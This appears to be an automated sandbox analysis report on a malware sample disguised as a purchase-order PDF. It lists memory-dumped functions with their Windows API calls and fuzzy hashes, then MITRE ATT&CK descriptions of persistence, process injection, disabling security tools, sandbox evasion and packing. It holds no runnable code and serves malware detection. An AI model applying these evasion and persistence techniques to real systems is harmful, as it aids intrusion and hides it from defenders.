Function 01946E20 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01946EA7

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8930fbec6614ca23dba8eda97505227b9d2f557285119036e468d7406b558213
Instruction ID: 327b11b99c24ee9d1cc87bf33a9da3ac30f96b386b9a35db3e187867caa1ce89
Opcode Fuzzy Hash: 8930fbec6614ca23dba8eda97505227b9d2f557285119036e468d7406b558213
Instruction Fuzzy Hash: 8221E4B59002089FDB10CFAAD984ADEBFF9EB48324F14841AE914A3310D378A954CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 08FB8C54 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 08FB9C91

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: eb6a9f70bd19d94fe7d73baca14d20e75673db911bfe3204f95c342a4a5d8b77
Instruction ID: 3516368c31660408c5d43cf7b0949238bf544ff9781304b414635b1a7f9785b2
Opcode Fuzzy Hash: eb6a9f70bd19d94fe7d73baca14d20e75673db911bfe3204f95c342a4a5d8b77
Instruction Fuzzy Hash: 8E2129B5E002098FDB10CFAAC944BEEFBF9EB88310F14842AD454A7250D7B4A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 08FB9C18 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 08FB9C91

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: d9ac77d8c38dd66cfc3f3b582c45111b572c46c44909d7bd8823fb8fbb0d389e
Instruction ID: af7a8a7c1b25f88e6f99ce51ee5400e5492b29abe3c418206d300bbc35abf143
Opcode Fuzzy Hash: d9ac77d8c38dd66cfc3f3b582c45111b572c46c44909d7bd8823fb8fbb0d389e
Instruction Fuzzy Hash: BD213BB5D002098FDB10CFAAC944BEEFBF9FB88320F54842AD454A7250D774A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0194C088 Relevance: 1.6, APIs: 1, Instructions: 59libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0194BEE9,00000800,00000000,00000000), ref: 0194C0FA

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 15b68af27e02c15497bcd1cb3af308e60f251d8d2d93b65841a68869738e25bd
Instruction ID: d75f50e3de57f89b7c0b6ef8ac372c467531dc586f52824962b597d8d0cb8fa9
Opcode Fuzzy Hash: 15b68af27e02c15497bcd1cb3af308e60f251d8d2d93b65841a68869738e25bd
Instruction Fuzzy Hash: AB2144B68013498FDB21CFAAC884ADEFFF4AB89310F14845AD418A7200C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 08F2D0F8 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 08F2D16A

Memory Dump Source

Source File: 00000014.00000002.746849626.0000000008F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8f20000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 10ac181cbae35c0f62656f6de8dab3def908bd83d77cfc847f31a7fe4c0f4780
Instruction ID: f577090503ba4505b14e4acb9346902019829a8a0bcb5926752c01609ce2feaa
Opcode Fuzzy Hash: 10ac181cbae35c0f62656f6de8dab3def908bd83d77cfc847f31a7fe4c0f4780
Instruction Fuzzy Hash: B02138B6C002098FDB10CF9AC844BDEFBF4EB48324F14802AE855A3600D378A645CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0194B110 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0194BEE9,00000800,00000000,00000000), ref: 0194C0FA

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 15dd11b59cb95e674534f411c014934012bfb3be87db1c94b14270814efb40f5
Instruction ID: 7008bdd6850a6f5686f133201edf85c88ee6863181c5a76d9b76d4b5f2c1b8fa
Opcode Fuzzy Hash: 15dd11b59cb95e674534f411c014934012bfb3be87db1c94b14270814efb40f5
Instruction Fuzzy Hash: 761106B69002099FDB20CF9AD444BDEFBF5AB49314F10841EE519A7200C375A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 08F2D100 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 08F2D16A

Memory Dump Source

Source File: 00000014.00000002.746849626.0000000008F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8f20000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 90a4c0a62dea33b6074524f55eae71eecde4abb2c33d47d518d28cb14ac2ca71
Instruction ID: a153221cc4ade14a58ba771e0b59b4073b40330bc77cfb486d3eedc873ead74f
Opcode Fuzzy Hash: 90a4c0a62dea33b6074524f55eae71eecde4abb2c33d47d518d28cb14ac2ca71
Instruction Fuzzy Hash: D01114B6C002498FDB10CFAAC844BDEBBF5EB88324F14842AD854A7600D378A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 08F2E9D8 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?,?,?,?,?,00000000), ref: 08F2EA3D

Memory Dump Source

Source File: 00000014.00000002.746849626.0000000008F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8f20000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 999a8c71ddc53c4e62f59df9e15b1ffc7776dde376f587092b87c69fb5c5fc7a
Instruction ID: b0207917789d07ce6d601d861159fda4b40882c991405987397feaa7428d9090
Opcode Fuzzy Hash: 999a8c71ddc53c4e62f59df9e15b1ffc7776dde376f587092b87c69fb5c5fc7a
Instruction Fuzzy Hash: 2211F8B9800349DFDB10CF9AD985BDEBBF8FB48324F208459E454A7600C3756944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08FB003B Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 08FB009D

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 75cc73571394cf2d643645b27e17476fecb57a9f70467d7d82b2d6334cfbcb0c
Instruction ID: 65dc6cdfd4d1f38babc5a94f72e3cf64cefedc9e789314786c370e85f4c7659f
Opcode Fuzzy Hash: 75cc73571394cf2d643645b27e17476fecb57a9f70467d7d82b2d6334cfbcb0c
Instruction Fuzzy Hash: 4E110AB58003499FDB10DF9AC984BDEFBF8FB48314F108419D854A7200C3756954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0194B284 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,FFFFFFF4,?), ref: 0194DF7D

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: e0a4b2725df1dcb38c7b2df9954e9ebdacd09eedb2b635e99322c1cc86e2523f
Instruction ID: 756fc34a18857bed52ab4a7812c0a59d7bc6c73e9ff761a22ca41748b1c53705
Opcode Fuzzy Hash: e0a4b2725df1dcb38c7b2df9954e9ebdacd09eedb2b635e99322c1cc86e2523f
Instruction Fuzzy Hash: 0711F8B99042089FDB20CF99D584BDEBBF8EB58324F108459E919A7200D375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0194BE08 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0194BE6E

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: fdc1b97836a85931ac5ff9a86f0662f4b5907bacb4cba607a97d6034234bae63
Instruction ID: 06a295f7f90e777e88bddbde352ccb2d6edd96784f6e0368c0649ec3e137240b
Opcode Fuzzy Hash: fdc1b97836a85931ac5ff9a86f0662f4b5907bacb4cba607a97d6034234bae63
Instruction Fuzzy Hash: 811113B6C002498FDB20CF9AC844ADFFBF9EB88324F10841AD519A7200C375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08F2D8C8 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?,?,?,?,?,00000000), ref: 08F2EA3D

Memory Dump Source

Source File: 00000014.00000002.746849626.0000000008F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8f20000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6b440f31312653b48bfa90177f1c183e8c2433f2cc87b3631244c37e505a1864
Instruction ID: e5be1f5489eb4aaa0a2622e38637b24cbd9c9641f01ac9000a1db68f8beb9562
Opcode Fuzzy Hash: 6b440f31312653b48bfa90177f1c183e8c2433f2cc87b3631244c37e505a1864
Instruction Fuzzy Hash: 6E1106B9800348DFDB10CF9AD985BDEBBF8FB48324F24845AE554A7201D375A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0194DF19 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,FFFFFFF4,?), ref: 0194DF7D

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 068045c619a98dc6cc07760f2e399018bcb01df2ccbcb4d635698af24af41894
Instruction ID: 01eefb578e1c2f84d01b5da1f6aff1a54da35efbf0deb9beca089cbeebcf85ce
Opcode Fuzzy Hash: 068045c619a98dc6cc07760f2e399018bcb01df2ccbcb4d635698af24af41894
Instruction Fuzzy Hash: 111115B9800209CFDB20CF99D585BDEBBF8EB58324F24845AD818B7700C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08FBB8A8 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 08FBB905

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 083d938b7422fa11e981a76c7c158eddd6f51616a1212318ccfdc9aa68586e44
Instruction ID: 58b1b40cddc623e4ff086d538021a2d54851998804226eed481711e8d7e6d324
Opcode Fuzzy Hash: 083d938b7422fa11e981a76c7c158eddd6f51616a1212318ccfdc9aa68586e44
Instruction Fuzzy Hash: F311E5B58003499FDB10CF9AC984BDEBBF8EB48324F108419E454A7600C375A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08FB0040 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 08FB009D

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1736fdb2b14e72fd2c29d5bc49e5b5f898218f303ff8bcf8c8f5f0a85b7b5681
Instruction ID: 60bef053c45cfca453af4dfd89a4b6594e27b10dec2b44fc62a35f60dfc85274
Opcode Fuzzy Hash: 1736fdb2b14e72fd2c29d5bc49e5b5f898218f303ff8bcf8c8f5f0a85b7b5681
Instruction Fuzzy Hash: EB11E5B98003499FDB20DF9AD984BDFBBF8FB48324F208419E455A7200C375A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0194C130 Relevance: 1.5, APIs: 1, Instructions: 43libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0194BEE9,00000800,00000000,00000000), ref: 0194C0FA

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4b07bae235a44259e2933001426bb254b0cb66d9714226c7647450663b9e7f50
Instruction ID: 9aab5d10659fec86773b48fde4e64d3b594cedaf8968c907a6b0e3d5411eedc5
Opcode Fuzzy Hash: 4b07bae235a44259e2933001426bb254b0cb66d9714226c7647450663b9e7f50
Instruction Fuzzy Hash: 6801DB328043508FDB218BBED8487CABBF4AF59324F18805AD148E7641C3BA5484CF92

Uniqueness

Uniqueness Score: -1.00%

Function 015AD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.691667791.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_15ad000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1a927df86c3d7b4fc1a3f2c3a9b6a9b5eb961412172ae57f37b8251ad1bc166
Instruction ID: 17350cc5e2405f26928f87dacff830da71234157c8c37c092888d23ca4733adc
Opcode Fuzzy Hash: d1a927df86c3d7b4fc1a3f2c3a9b6a9b5eb961412172ae57f37b8251ad1bc166
Instruction Fuzzy Hash: 6E214275284240DFDB11EF68D9C0B2ABBB1FB88354F64C96DD80A4F646D33BD806CA61

Uniqueness

Uniqueness Score: -1.00%

Function 015AD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.691667791.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_15ad000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525236a9dfb8a41e55ab4dca32aa34a6573bc61e862c87b698f4f4e56209e459
Instruction ID: a47d0f2e7d24d8c248e20940906bfa1d7eaa071cd7ba7cbb3bcc1d9c50956533
Opcode Fuzzy Hash: 525236a9dfb8a41e55ab4dca32aa34a6573bc61e862c87b698f4f4e56209e459
Instruction Fuzzy Hash: E62103755842409FDB01EF58D9C0B2EBBB5FF84324F64CA6DD8094F652C33AD846CA61

Uniqueness

Uniqueness Score: -1.00%

Function 015AD488 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.691667791.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_15ad000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c4c63f4dcc621f9e4f7a692ab39f54bc3b0562b4ea714d94ea524476dd9c348
Instruction ID: 2b464f4a879a760fdd4f23554b43c51eed5fcfbff603276eb4de1d15965cbd61
Opcode Fuzzy Hash: 5c4c63f4dcc621f9e4f7a692ab39f54bc3b0562b4ea714d94ea524476dd9c348
Instruction Fuzzy Hash: 17216B75544240DFDB01EF58D9C0B2EBBB5FB88328F64C96ED8490F642C33AE445CA62

Uniqueness

Uniqueness Score: -1.00%

Function 015AD3A8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.691667791.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_15ad000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a47da1980652f682ed649035222fd4599303d416faa68253d5be1ea5bc2854e3
Instruction ID: e37df0fc73ba5d35c14349b4414e573af760ff9f96859bcd56b5fc46c06dd058
Opcode Fuzzy Hash: a47da1980652f682ed649035222fd4599303d416faa68253d5be1ea5bc2854e3
Instruction Fuzzy Hash: 412149B5244244DFDB01EF58D9C0B6EBBB5FB84324F64C96ED8450F642C37AE845CA62

Uniqueness

Uniqueness Score: -1.00%

Function 015AD2D4 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.691667791.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_15ad000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23e059118cf86ae2b684bc451199e096cc0c057ed3cdb30755bd497b601f8bb9
Instruction ID: f548592d5c0fcebe359c93a80ff86d165cf75545a8bd26cb986e4b72a4d6cefd
Opcode Fuzzy Hash: 23e059118cf86ae2b684bc451199e096cc0c057ed3cdb30755bd497b601f8bb9
Instruction Fuzzy Hash: 3E2138B15842409FD701EF58D9C0B2EFBB5FB84724F64CA6ED4454F646C33AD805C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 015AD006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.691667791.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_15ad000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a88f6225ddd3b2b17e4b62088608b4ed87b4d5c68807e34371ee3e095ef32f6
Instruction ID: a56bf4435d5ba2684a9ab9ca69ba8983c52d41df3a897b1d45592da9d2e2ed99
Opcode Fuzzy Hash: 8a88f6225ddd3b2b17e4b62088608b4ed87b4d5c68807e34371ee3e095ef32f6
Instruction Fuzzy Hash: 782180755493808FDB03CF24D990719BF71FB46214F28C6EAD8498F657C33A984ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 015AD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.691667791.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_15ad000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a40b480d4fa50119ebda35aff352db3dffa7348ebbf36f966237d5faf07d1e9
Instruction ID: 9391a5d095e9169f6e56b8c4395a4e8239033c9d05478736dd5cacc1da70d8f5
Opcode Fuzzy Hash: 4a40b480d4fa50119ebda35aff352db3dffa7348ebbf36f966237d5faf07d1e9
Instruction Fuzzy Hash: 361197765442809FDB02DF58D984B19BBB1FB84224F28C6A9D8494AA56C33AD44ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 015AD483 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.691667791.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_15ad000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66de853c8f73773a024d6556376e3cc26eafd671a5abed216511fd7aaf48c7a
Instruction ID: 680517bbe2b8eeab2851d3245d1ad17bef6c1597f2dd88637956fa6a3d591996
Opcode Fuzzy Hash: c66de853c8f73773a024d6556376e3cc26eafd671a5abed216511fd7aaf48c7a
Instruction Fuzzy Hash: F9119376544280CFDB12DF54D5C4B19BB71FB88324F24C6AAD8894BA46C339D44ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 015AD3A3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.691667791.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_15ad000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66de853c8f73773a024d6556376e3cc26eafd671a5abed216511fd7aaf48c7a
Instruction ID: 74a193e99a28e353a230fac554e5be5bf45272a43b5e15b105264f03bdbf8672
Opcode Fuzzy Hash: c66de853c8f73773a024d6556376e3cc26eafd671a5abed216511fd7aaf48c7a
Instruction Fuzzy Hash: 7211D076544280CFDB12DF14D5C0B59BB71FB84324F28C6AAD8480BA46C37AE44ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 015AD2CF Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.691667791.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_15ad000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 800034ddf163baed4030cbb7547756c7c224f8ffe8e28aa505a3349c03160747
Instruction ID: b83dfa1690431db5b7feb466ce6d7da4e5552dc9e10fcdc753356886329d697f
Opcode Fuzzy Hash: 800034ddf163baed4030cbb7547756c7c224f8ffe8e28aa505a3349c03160747
Instruction Fuzzy Hash: 93119176544680CFDB12DF18D5C475EFBB1FB84624F28C6AAD8484BA46C33AD44ACB92

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

